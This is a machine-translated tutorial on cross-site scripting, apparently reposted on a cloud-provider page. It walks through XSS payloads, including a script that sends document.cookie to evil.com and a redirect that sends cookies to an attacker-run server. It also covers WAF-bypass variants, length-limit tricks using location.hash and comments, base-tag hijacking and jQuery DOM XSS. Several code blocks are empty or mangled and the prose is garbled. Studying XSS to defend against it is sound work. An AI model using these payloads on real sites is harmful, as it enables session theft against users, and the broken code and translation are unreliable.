0x01 XSS BasicsSomeone once said that XSS is so popular, because every website, including Google, Microsoft, and so on, there will be an XSS vulnerability! Before the XSS this piece of "fat" just understand, no systematic study. Take advantage of the summer vacation, to systematically analyze this piece of ' fat '.
<script>alert(/xss/);</script><body onload=alert(/xss/)><iframe>,<div>, and <link>Ease of Use: 2>3>1
| 1234567891011 | |
| 1234567891011121314151617181920212223 | |
| 123456789101112131415161718 | |
Cookie HijackingAfter an XSS attack succeeds, an attacker can control the user's browser by implanting a malicious script on the page of the user's current browser. These malicious scripts, known as "XSS Payload"
| 12345678 | http://www.a.com/test.php?abc="><script src =http://evil.com/evil.js></script>evil.js content: var img = document.createElement("img"); img.src = "http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img); PS:log不一定要存在，因为在日志中会记录下这个过程 |
This is the basic process of XSS hijacking cookies, and when you get the user cookie, how do you use it to log into the server? In this process, there are a number of methods, there are two ways:
PHP XSS Cookie require
| 123456789 | |
Save the above to your own server, 1.php
Then write to the XSS:
| 1 | <script>document.location="http://your server/1.php?c="+document.cookie;</script> |
Using character encodingThe most basic construction technique is the "closed tag",
Here's the first one of the things that brother said in the white hat talk about web security is that when the Web page is encoded as gbk/gb2312, the "%c1\" bypasses the system escape "situation ...
The next is the various encryption
URL-encoded Unicode-encoded HTML encodingThe existence of HTML encoding is to let him separate in the code and display, to avoid errors. His named entity: The structure is & with the Greek alphabet, character encoding: Constructs are & #加十进制, hexadecimal ASCII or Unicode character encoding, and browser parsing will first parse the HTML encoding and then render. However, there is a premise that it must be in the "value", such as the attribute src, but the SRC cannot be HTML-encoded. Otherwise the browser will not render properly.
| 1 | <imgsrc=logo.png/> |
Slash/Plus 1-6-bit 16 decimal
common ways to bypass
| 1234 | <sCript>alert(1)</scRipt><script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript><scr<script>rip>alalertert</scr</script>rip> (需要利用waf的不完整性)<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script> |
| 12 | <inputtype="text" value="$var"/>length($var)<=20 |
Method One: Shorten payload by events
| 1 | "onclick=alert(1)// |
Method Two: Use Location.hash to load XSS payload
| 123456789 | Payload: " onclick="eval(location.hash.substr(1))<input type="text" value="" onclick="eval(location.hash.substr(1))" /> location.hash的第一个字符为# 则 http://www.a.com/test.html#alert(1) 产生效果location.hash本身没有长度限制，而浏览器URL有，在这个范围内都是可以的。 |
Method Three: Use the annotation character to bypass the length limit
| 123 | 有两个输入框，第一个有限制，第二个没有长度限制，则可以通过注释符打通两个注释框之间的部分：input1#value: "><!--input2#value: --><script>alert(/xss/);<script/> |
The role of tags in HTML is to provide a real address for all links that use relative paths.
This process can be exploited, assuming that you can insert a base tag somewhere on the page and forge a link on your server that payload the corresponding image, you can achieve the attack effect
| 1 | <baseherf="http://www.evil.com/"/> |
You can use this to achieve cross-domain effects
| 1234567 | a.com中，window.name=testlocation.href="http://www.b.com/xss.php"b.com中，加入 document.domain + window.name 即可轻松实现从a->b的跨越 |
Simply speaking is to see your target site references which external sites js/css/swf/, and so on, and then invade the corresponding external station, and then modify the js/css/swf to achieve the effect of XSS, the use of "roundabout" infiltration mode
Here refers to a "long short" write a Get non-site J/C code:
| 1234567 | |
Just execute this code in the browser console
0x07 JavaScript Development Framework Xssjqueryjquery has an HTML () method, which, if there are no parameters, reads the innerHTML of a DOM node, and if there is a parameter, it writes the value of the parameter to the innerHTML of the DOM node. This process may produce "DOM Based XSS"
| 1 | $(‘div.demo-contaioner‘).html(" |
In addition, some other example Dojo/yui itself has an XSS vulnerability.
Https://www.ohlinge.cn/web/xss.html
Combining code to learn about the basics of XSS
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
